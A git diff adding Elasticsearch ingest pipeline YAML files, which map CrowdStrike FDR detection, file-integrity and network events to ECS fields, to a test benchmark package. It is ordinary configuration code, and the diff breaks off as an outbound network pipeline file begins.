diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
new file mode 100644
index 0000000000..d40bb25efa
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
@@ -0,0 +1,260 @@
+---
+description: Pipeline for processing Epp Detection Summary events.
+processors:
+
+  # EppDetectionSummaryEvent converts
+  - convert:
+      tag: convert_CloudIndicator_to_boolean_552bc0f4
+      if: ctx.crowdstrike?.CloudIndicator != null && ctx.crowdstrike?.CloudIndicator != ''
+      field: crowdstrike.CloudIndicator
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_CloudIndicator_7bd12275
+            field:
+              - crowdstrike.CloudIndicator
+        - append:
+            tag: append_error_message_1c33af04
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_PatternDispositionValue_to_long_1e7a32d8
+      if: ctx.crowdstrike?.PatternDispositionValue != null && ctx.crowdstrike?.PatternDispositionValue != ''
+      field: crowdstrike.PatternDispositionValue
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_PatternDispositionValue_b117c4a5
+            field:
+              - crowdstrike.PatternDispositionValue
+        - append:
+            tag: append_error_message_c637ab38
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_LocalIP_to_ip_85a6b836
+      if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != ''
+      field: crowdstrike.LocalIP
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_LocalIP_f70dd2bb
+            field:
+              - crowdstrike.LocalIP
+        - append:
+            tag: append_error_message_c42100f6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_LocalIPv6_to_ip_9e08b342
+      if: ctx.crowdstrike?.LocalIPv6 != null && ctx.crowdstrike.LocalIPv6 != ''
+      field: crowdstrike.LocalIPv6
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_LocalIPv6_20f3473b
+            field:
+              - crowdstrike.LocalIPv6
+        - append:
+            tag: append_error_message_a7e996f2
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # timestamps
+  - foreach:
+      tag: foreach_crowdstrike_FilesAccessed_7975c0fe
+      if: ctx.crowdstrike?.FilesAccessed instanceof List
+      field: crowdstrike.FilesAccessed
+      processor:
+        date:
+          tag: date__ingest__value_Timestamp_b9dba206
+          field: _ingest._value.Timestamp
+          target_field: _ingest._value.Timestamp
+          formats:
+            - UNIX
+          on_failure:
+            - remove:
+                tag: remove__ingest__value_Timestamp_1e9e21da
+                field:
+                  - _ingest._value.Timestamp
+                ignore_failure: true
+            - append:
+                tag: append_error_message_8eaed846
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_crowdstrike_FilesWritten_069e87ee
+      if: ctx.crowdstrike?.FilesWritten instanceof List
+      field: crowdstrike.FilesWritten
+      processor:
+        date:
+          tag: date__ingest__value_Timestamp_3d945d16
+          field: _ingest._value.Timestamp
+          target_field: _ingest._value.Timestamp
+          formats:
+            - UNIX
+          on_failure:
+            - remove:
+                tag: remove__ingest__value_Timestamp_151916ea
+                field:
+                  - _ingest._value.Timestamp
+                ignore_failure: true
+            - append:
+                tag: append_error_message_cccd8556
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # event categorization fields
+  - set:
+      tag: set_event_kind_to_alert_39295792
+      field: event.kind
+      value: alert
+  - append:
+      tag: append_malware_category_425d1f27
+      field: event.category
+      value: malware
+  - append:
+      tag: append_info_type_8a66ccaa
+      field: event.type
+      value: info
+
+  # ECS field mappings
+  - rename:
+      tag: rename_crowdstrike_LocalIP_to_source_ip_383fbff4
+      if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != ""
+      field: crowdstrike.LocalIP
+      target_field: source.ip
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ProcessId_to_string_7dfed8f3
+      if: ctx.crowdstrike?.ProcessId != null && !(ctx.crowdstrike.ProcessId instanceof String)
+      field: crowdstrike.ProcessId
+      type: string
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ProcessId_to_process_pid_08662a31
+      if: ctx.process?.entity_id == null
+      field: crowdstrike.ProcessId
+      target_field: process.entity_id
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_HostGroups_f53aac76
+      field: crowdstrike.HostGroups
+      separator: ','
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ParentImageFileName_to_process_parent_executable_0b7a24c2
+      if: ctx.process?.parent?.name == null
+      field: crowdstrike.ParentImageFileName
+      target_field: process.parent.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ParentImageFilePath_to_process_parent_executable_730e3198
+      if: ctx.process?.parent?.executable == null
+      field: crowdstrike.ParentImageFilePath
+      target_field: process.parent.executable
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_Description_to_message_bf015ca8
+      field: crowdstrike.Description
+      target_field: message
+      ignore_missing: true
+  - set:
+      tag: set_rule_description_from_message_1343fd6e
+      if: ctx.message != null
+      field: rule.description
+      copy_from: message
+  - set:
+      tag: set_process_name_from_crowdstrike_FileName_56043937
+      field: process.name
+      copy_from: crowdstrike.FileName
+      ignore_empty_value: true
+  - set:
+      tag: set_process_executable_from_crowdstrike_FilePath_68aaf1a2
+      field: process.executable
+      copy_from: crowdstrike.FilePath
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_SHA256String_to_file_hash_sha256_aa319d9c
+      field: crowdstrike.SHA256String
+      target_field: file.hash.sha256
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_MD5String_to_file_hash_md5_adef1944
+      field: crowdstrike.MD5String
+      target_field: file.hash.md5
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_SHA1String_to_file_hash_sha1_b607b768
+      field: crowdstrike.SHA1String
+      target_field: file.hash.sha1
+      ignore_missing: true
+  - append:
+      tag: append_file_hash_sha1_to_related_hash_c997d53d
+      if: ctx.file.hash.sha1 != null && ctx.file.hash.sha1 != ""
+      field: related.hash
+      value: '{{{file.hash.sha1}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_file_hash_sha256_to_related_hash_78d565ff
+      if: ctx.file.hash.sha256 != null && ctx.file.hash.sha256 != ""
+      field: related.hash
+      value: '{{{file.hash.sha256}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_file_hash_md5_to_related_hash_6d53928a
+      if: ctx.file.hash.md5 != null && ctx.file.hash.md5 != ""
+      field: related.hash
+      value: '{{{file.hash.md5}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_FileName_to_file_name_ef2fa373
+      field: crowdstrike.FileName
+      target_field: file.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_FilePath_to_file_path_da7c5277
+      field: crowdstrike.FilePath
+      target_field: file.path
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_Name_to_rule_name_0af962b5
+      field: crowdstrike.Name
+      target_field: rule.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_DetectId_to_rule_id_64a9abd2
+      field: crowdstrike.DetectId
+      target_field: rule.id
+      ignore_missing: true
+  - append:
+      tag: append_crowdstrike_MACAddress_into_host_mac_c3cddec3
+      if: ctx.crowdstrike?.MACAddress != null && ctx.crowdstrike.MACAddress != ""
+      field: host.mac
+      value: '{{{crowdstrike.MACAddress}}}'
+      allow_duplicates: false
+  - uppercase:
+      tag: uppercase_host_mac_a2d4985e
+      if: ctx.host?.mac != null
+      field: host.mac
+      ignore_missing: true
+
+  # error handling
+on_failure:
+  - append:
+      tag: append_error_message_9319ae1f
+      field: error.message
+      value: Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      tag: set_pipeline_error_into_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_d762b9c5
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
new file mode 100644
index 0000000000..68684856a4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
@@ -0,0 +1,397 @@
+---
+description: Pipeline for processing FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events from Falcon FileVantage.
+processors:
+
+  # event categorization fields
+  - set:
+      tag: set_event_kind_to_event_de80643c
+      field: event.kind
+      value: event
+  - append:
+      tag: append_file_to_event_category_5b7e3a2d
+      if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '1' || ctx.crowdstrike.ObjectType == '2')
+      field: event.category
+      value: file
+      allow_duplicates: false
+  - append:
+      tag: append_registry_to_event_category_c6ba5eba
+      if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '3' || ctx.crowdstrike.ObjectType == '4')
+      field: event.category
+      value: registry
+      allow_duplicates: false
+  # fall back to file category for Enriched events
+  - append:
+      tag: append_file_to_event_category_32d4d587
+      if: ctx.event.category == null
+      field: event.category
+      value: file
+  - script:
+      tag: script_set_event_type_6a155454
+      if: ctx.crowdstrike?.ObjectAccessOperationType != null
+      params:
+        op_types:
+          "1": creation
+          "2": change
+          "3": deletion
+          "4": change
+          "5": change
+          "6": change
+          "7": change
+          "8": access
+      source: |-
+        def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType];
+        if (type != null) {
+          ctx.event = ctx.event ?: [:];
+          ctx.event.type = [type];
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_7270a1e4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  # fall back to change type for Enriched events
+  - append:
+      tag: append_change_to_event_type_d125ca99
+      if: ctx.event.type == null
+      field: event.type
+      value: change
+
+  # field values mapping
+  - script:
+      tag: script_set_object_type_348f5b4a
+      if: ctx.crowdstrike?.ObjectType != null
+      params:
+        obj_types:
+          "1": FILE
+          "2": FOLDER
+          "3": VALUE
+          "4": KEY
+      source: |-
+        def type = params.get('obj_types')[ctx.crowdstrike.ObjectType];
+        if (type != null) {
+        	ctx.crowdstrike.ObjectType = type;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_da5b712a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      tag: script_set_operation_type_70f01684
+      if: ctx.crowdstrike?.ObjectAccessOperationType != null
+      params:
+        op_types:
+          "1": CREATE
+          "2": WRITE
+          "3": DELETE
+          "4": SET
+          "5": RENAME
+          "6": ATTRIBUTES_CHANGED
+          "7": PERMISSIONS_CHANGED
+          "8": OPEN_WRITE
+      source: |-
+        def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType];
+        if (type != null) {
+        	ctx.crowdstrike.ObjectAccessOperationType = type;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_689b42d4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # converts
+  - convert:
+      tag: convert_crowdstrike_ContentDiff_Exists_to_boolean_9647694e
+      field: crowdstrike.ContentDiff.Exists
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_ContentDiff_Exists_a5ef3c39
+            field:
+              - crowdstrike.ContentDiff.Exists
+        - append:
+            tag: append_error_message_4531827e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_Suppression_Suppressed_to_boolean_64590ae3
+      field: crowdstrike.Suppression.Suppressed
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_Suppression_Suppressed_6d408885
+            field:
+              - crowdstrike.Suppression.Suppressed
+        - append:
+            tag: append_error_message_2bb5a411
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_PolicyRuleSeverity_to_long_29e3439d
+      field: crowdstrike.PolicyRuleSeverity
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_PolicyRuleSeverity_d600dfd1
+            field:
+              - crowdstrike.PolicyRuleSeverity
+        - append:
+            tag: append_error_message_fca361b3
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_FileSize_to_long_57c441c5
+      field: crowdstrike.FileSize
+      type: long
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_e42344eb
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # timestamps
+  - date:
+      tag: date_crowdstrike_RuleModifiedTimeStamp_into_crowdstrike_RuleModifiedTimeStamp_8d1f9a9e
+      if: ctx.crowdstrike?.RuleModifiedTimeStamp != null && ctx.crowdstrike.RuleModifiedTimeStamp != ''
+      field: crowdstrike.RuleModifiedTimeStamp
+      target_field: crowdstrike.RuleModifiedTimeStamp
+      formats:
+        - UNIX
+        - UNIX_MS
+      timezone: UTC
+      on_failure:
+        - remove:
+            tag: remove_RuleModifiedTimeStamp_10560cc7
+            field:
+              - RuleModifiedTimeStamp
+        - append:
+            tag: append_error_message_a976ed0e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # ECS mappings
+  - set:
+      tag: set_user_id_from_crowdstrike_User_ID_494678a0
+      field: user.id
+      copy_from: crowdstrike.User.ID
+      ignore_empty_value: true
+  - set:
+      tag: set_user_name_from_crowdstrike_User_Name_2a157dc4
+      field: user.name
+      copy_from: crowdstrike.User.Name
+      ignore_empty_value: true
+  - set:
+      tag: set_host_hostname_from_crowdstrike_Host_Name_97f29382
+      field: host.hostname
+      copy_from: crowdstrike.Host.Name
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_name_from_crowdstrike_Policy_RuleBasePath_cb4280e1
+      field: rule.name
+      copy_from: crowdstrike.Policy.RuleBasePath
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_ruleset_from_crowdstrike_Policy_RuleGroupName_148ba698
+      field: rule.ruleset
+      copy_from: crowdstrike.Policy.RuleGroupName
+      ignore_empty_value: true
+  - set:
+      tag: set_file_hash_sha256_from_crowdstrike_ContentDiff_SHA256_ed9edf84
+      field: file.hash.sha256
+      copy_from: crowdstrike.ContentDiff.SHA256
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_id_from_crowdstrike_PolicyRuleID_d838e264
+      field: rule.id
+      copy_from: crowdstrike.PolicyRuleID
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_ruleset_from_crowdstrike_PolicyRuleGroupID_f58c49f0
+      field: rule.ruleset
+      copy_from: crowdstrike.PolicyRuleGroupID
+      ignore_empty_value: true
+  - set:
+      tag: set_file_size_from_crowdstrike_FileSize_58cea3ea
+      field: file.size
+      copy_from: crowdstrike.FileSize
+      ignore_empty_value: true
+  - set:
+      tag: set_file_owner_from_crowdstrike_NewOwner_9af693ec
+      field: file.owner
+      copy_from: crowdstrike.NewOwner
+      ignore_empty_value: true
+  - set:
+      tag: set_file_group_from_crowdstrike_NewGroup_b85bdf80
+      field: file.group
+      copy_from: crowdstrike.NewGroup
+      ignore_empty_value: true
+  - append:
+      tag: append_crowdstrike_FileAttributesNew_into_file_attributes_2d526026
+      if: ctx.crowdstrike?.FileAttributesNew != null
+      field: file.attributes
+      value: '{{{crowdstrike.FileAttributesNew}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_crowdstrike_NewFileAttributesLinux_into_file_attributes_97600240
+      if: ctx.crowdstrike?.NewFileAttributesLinux != null
+      field: file.attributes
+      value: '{{{crowdstrike.NewFileAttributesLinux}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_file_hash_sha256_into_related_hash_017aef51
+      if: ctx.file?.hash?.sha256 != null
+      field: related.hash
+      value: '{{{file.hash.sha256}}}'
+      allow_duplicates: false
+  - script:
+      tag: script_set_event_severity_from_PolicyRuleSeverity_4032c1c4
+      if: ctx.crowdstrike?.PolicyRuleSeverity != null
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        def severity = ctx.crowdstrike.PolicyRuleSeverity;
+        if (severity == 1) {
+        	ctx.event.severity = 21;
+        } else if (severity == 2) {
+        	ctx.event.severity = 47;
+        } else if (severity == 3) {
+        	ctx.event.severity = 73;
+        } else if (severity == 4) {
+        	ctx.event.severity = 99;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_cdf0b014
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # rename event handling for files and registry
+  - set:
+      tag: set_file_path_from_ObjectNameNew_for_rename_events_0400ebd4
+      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER')
+      field: file.path
+      copy_from: crowdstrike.ObjectNameNew
+      ignore_empty_value: true
+  - set:
+      tag: set_file_original_path_from_ObjectName_for_rename_events_49f9c5d0
+      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER')
+      field: file.Ext.original.path
+      copy_from: crowdstrike.ObjectName
+      ignore_empty_value: true
+  - set:
+      tag: set_registry_path_from_ObjectNameNew_for_rename_events_ee30dbc5
+      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY')
+      field: registry.path
+      copy_from: crowdstrike.ObjectNameNew
+      ignore_empty_value: true
+  - set:
+      tag: set_file_path_from_ObjectName_for_non-rename_events_d432ea88
+      if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') && ctx.file?.path == null
+      field: file.path
+      copy_from: crowdstrike.ObjectName
+      ignore_empty_value: true
+  - set:
+      tag: set_registry_path_from_ObjectName_for_non-rename_events_ae198652
+      if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') && ctx.registry?.path == null
+      field: registry.path
+      copy_from: crowdstrike.ObjectName
+      ignore_empty_value: true
+  - set:
+      tag: set_file_type_to_dir_for_folders_3a399212
+      if: ctx.crowdstrike?.ObjectType == 'FOLDER' && ctx.file?.path != null
+      field: file.type
+      value: dir
+      ignore_empty_value: true
+  - set:
+      tag: set_file_type_to_file_for_files_f5d7d730
+      if: ctx.crowdstrike?.ObjectType == 'FILE' && ctx.file?.path != null && ctx.file?.type == null
+      field: file.type
+      value: file
+      ignore_empty_value: true
+  # file.path parsing and file.Ext.original.path parsing are handled by default.yml pipeline
+
+  - script:
+      description: Parse registry path to extract registry key and value
+      tag: parse_registry_path_to_extract_registry_key_and_value_8265f599
+      if: ctx.registry?.path != null && ctx.registry.path.length() > 0
+      source: |-
+        def path = ctx.registry.path;
+        def idx = path.lastIndexOf('\\');
+        if (idx >= 0) {
+        	ctx.registry = ctx.registry ?: [:];
+        	ctx.registry.key = path.substring(0, idx);
+        	ctx.registry.value = path.substring(idx+1);
+        } else {
+        	ctx.registry = ctx.registry ?: [:];
+        	ctx.registry.key = path;
+        }
+        // Clean up registry.key: remove \REGISTRY\(USER|MACHINE)\ prefix
+        if (ctx.registry.key != null) {
+        	def key = ctx.registry.key;
+        	if (key.startsWith('\\REGISTRY\\USER\\')) {
+        		ctx.registry.key = key.substring('\\REGISTRY\\USER\\'.length());
+        	} else if (key.startsWith('\\REGISTRY\\MACHINE\\')) {
+        		ctx.registry.key = key.substring('\\REGISTRY\\MACHINE\\'.length());
+        	}
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_b5482b4f
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # FileIntegrityMonitorRuleMatched renames
+  - rename:
+      tag: rename_PolicyIdentifier_to_Policy_ID_f03b77d2
+      field: crowdstrike.PolicyIdentifier
+      target_field: crowdstrike.Policy.ID
+      ignore_missing: true
+
+  # clean up
+  - remove:
+      tag: remove_custom_duplicate_fields_fb958877
+      field:
+        - crowdstrike.User
+        - crowdstrike.Host.Name
+        - crowdstrike.Policy.RuleBasePath
+        - crowdstrike.Policy.RuleGroupName
+        - crowdstrike.ContentDiff.SHA256
+        - crowdstrike.PolicyRuleID
+        - crowdstrike.PolicyRuleGroupID
+        - crowdstrike.FileSize
+        - crowdstrike.NewOwner
+        - crowdstrike.NewGroup
+        - crowdstrike.ObjectName
+        - crowdstrike.ObjectNameNew
+      ignore_missing: true
+
+  # error handling
+  - set:
+      tag: set_pipeline_error_into_event_kind_92954dfa
+      if: ctx.error?.message != null
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_event_kind_a0b8d607
+      if: ctx.error?.message != null
+      field: event.kind
+      value: preserve_original_event
+      allow_duplicates: false
+on_failure:
+  - append:
+      tag: append_error_message_d1950926
+      field: error.message
+      value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
+  - set:
+      tag: set_pipeline_error_into_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_event_kind_c274f7a2
+      field: event.kind
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
new file mode 100644
index 0000000000..eb0cf512b1
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
@@ -0,0 +1,109 @@
+---
+description: Pipeline for processing inbound network details
+processors:
+  - set:
+      tag: destination_ip_from_currentlocalip_5ec76119
+      if: ctx.destination?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null
+      field: destination.ip
+      value: '{{{crowdstrike.CurrentLocalIP}}}'
+  - set:
+      tag: destination_ip_from_localip_5f25abed
+      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalIP != null
+      field: destination.ip
+      value: '{{{crowdstrike.LocalIP}}}'
+  - set:
+      tag: destination_ip_from_localaddressip4_c71b6775
+      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
+      field: destination.ip
+      value: '{{{crowdstrike.LocalAddressIP4.0}}}'
+  - set:
+      tag: destination_ip_from_localaddressip6_d552cc47
+      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
+      field: destination.ip
+      value: '{{{crowdstrike.LocalAddressIP6.0}}}'
+  - convert:
+      tag: convert_destination_ip_to_ip_559e911d
+      field: destination.ip
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_destination_ip_7d606e5d
+            field:
+              - destination.ip
+            ignore_missing: true
+        - append:
+            tag: append_error_message_c754ca33
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      tag: set_destination_address_a940017a
+      field: destination.address
+      copy_from: destination.ip
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_LocalPort_to_destination_port_60fd7022
+      field: crowdstrike.LocalPort
+      target_field: destination.port
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_MAC_to_destination_mac_07d8427b
+      field: crowdstrike.MAC
+      target_field: destination.mac
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_PhysicalAddress_to_destination_mac_bade699a
+      if: ctx.destination?.mac == null
+      field: crowdstrike.PhysicalAddress
+      target_field: destination.mac
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686
+      field: crowdstrike.RemoteAddressIP4
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_RemoteAddressIP4_578bef43
+            field:
+              - crowdstrike.RemoteAddressIP4
+            ignore_missing: true
+        - append:
+            tag: append_error_message_263c65c6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      tag: rename_crowdstrike_RemoteAddressIP4_to_source_ip_2b41d652
+      field: crowdstrike.RemoteAddressIP4
+      target_field: source.ip
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc
+      field: crowdstrike.RemoteAddressIP6
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b
+            field:
+              - crowdstrike.RemoteAddressIP6
+            ignore_missing: true
+        - append:
+            tag: append_error_message_85851e5c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      tag: rename_crowdstrike_RemoteAddressIP6_to_source_ip_f4aba960
+      field: crowdstrike.RemoteAddressIP6
+      target_field: source.ip
+      ignore_missing: true
+  - set:
+      tag: set_source_address_070d27e8
+      field: source.address
+      copy_from: source.ip
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_RemotePort_to_source_port_4c87dfc0
+      field: crowdstrike.RemotePort
+      target_field: source.port
+      ignore_missing: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
new file mode 100644
index 0000000000..382ecde3f5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
@@ -0,0 +1,109 @@
+---
+description: Pipeline for processing outbound network details
+processors:
+  - set:
